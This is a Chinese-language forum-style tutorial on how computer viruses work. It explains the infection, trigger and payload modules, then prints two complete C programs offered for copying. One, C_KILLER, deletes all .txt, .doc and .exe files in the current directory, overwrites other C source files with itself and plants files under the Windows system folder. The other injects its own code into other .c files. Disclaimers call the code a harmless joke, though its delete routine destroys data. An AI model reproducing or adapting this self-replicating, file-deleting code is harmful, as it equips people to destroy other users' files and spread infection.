一、什么是病毒 我们要对付病毒,就要了解病毒. 写一些病毒是一个很好的办法. 如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“ 其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。 要编制一个病毒,首先要知道病毒的运行机理。 不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。 在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。我们可以用一段类C伪码来表示这个过程。InfectSection() { if (infectable_object_found &&object_not_already_infect) infect_object; } 病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的: TriggerSection() { if (date_is_Friday_13th_and_time_is_03:13:13) set_trigger_status_to_yes; } 有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行: Executesection() { if (trigger_statue_is_yes) execute_payload; } 二、 编制病毒的语言 最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础: 1).Win32编程,进程,线程,内存,等等。 2).32位汇编,以指令用法为主。386汇编就比较够用了。 3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。 4).调试技术。VC,TD32,SoftIce,等等。 要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.三 用C编制病毒 以TurboC2.0为例.它的库函数可以实现很多功能. 如以下两个函数: 1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。 2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件. 四 别人写的C病毒 <<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些". 它主要由四个模块组成. RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件. CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些 Remove()会删掉你的一些东西,所以千万不要随便运行这个程序. Breed()是C_KILLER的精华所在,它将kill所有的C程序,并利用它们繁殖自身 前三个是有效负载. 第四个可以说是它的感染机制. in fact,it's "not a virus" at all /**********************************/#include"stdio.h"#include"dir.h#include"io.h"#include"stdlib.h"#include"string.h" /*copyp outfile to infile*/void copyfile(char *infile,char *outfile){ FILE *in,*out; in=fopen(infile,"r"); out=fopen(outfile,"w"); while(!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out);}/* This function named Rubblishmaker.*/ void MakeRubbish(){ int i; FILE *fp; char *path; char *NewName; char *disk[7]={"A","B","C","D","E","F","G"}; char *addtion=":\\"; /*Make some rubbish at the current catalogue*/ for(i=0;i<5;i++) { char tempname[]="xxxxxx"; NewName=mktemp(tempname); fp=fopen(NewName,"w"); fclose(fp); } /*make some rubbish at the root catalogue*/ path=strcat(disk[getdisk()],addtion);/*get the root catalgue*/ chdir(path); /*change directory according to the path*/ for(i=0;i<5;i++) { char tempname[]="XXXXXX"; NewName=mktemp(tempname); fp=fopen(Newname,"w"); fclose(fp); }} /* This function can creat some .exe or .com documents in the sensitive place.It's only a joke.It will do no harm to ypur PC.*/ void CreatEXE() { int i; char *path; char *s[2]={"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\viruss.com"} for(i=0;i<2;i++) { open(s[i],0x0100,0x0080); copyfile("C_KILLER.C",s[i]); }} /*remove something from your computer*/void Remove(){ int dome; int i; struct ffblk ffblk; char *documenttype[3]={"*.txt","*.doc","*.exe"}; for(i-0;i<3;i++) { done=findfirst(documenttype[i],&ffblk,2); while(!done) { remove(ffblk.ff_name); done=findnext(&ffblk); } }}/*overlay the c programs*/void Breed(){ int done; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) { copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); } }void main(){ printf("THERE IS A VIRUS BY XIAOKE.\n\n"); Breed(); Remove(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n"); clrscr(); system("cmd");}首先声明: 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。 从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。 其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include <stdio.h> #include <dir.h> void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf,80,in); i++;}while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include<stdio.h>\n",out); fputs("#include<dir.h>\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j<i-1;j++) if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) fputs(buf[j],out); else { if(flag==0) { flag=1; fputs("virus();\n",out); } fputs(buf[j],out); } } else if((strstr(buf[j],include[0])==NULL) &&(strstr(buf[j],include[1])==NULL)) { fputs(buf[j],out); j++; } else j++; }while(j<i-1); read=fopen(virus,"rt"); do { p=fgets(buffer,80,read); if(strstr(buffer,int_virus)) while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"",out); fputs(ffblk.ff_name,out); fputs("\";\n",out); } p=fgets(buffer,80,read); } }while(p!=NULL); fclose(read); fclose(out); printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name); next: done = findnext(&ffblk); } return 0; }引用地址:http://www.exsdd.com/bbs/read.php?tid=1103

评论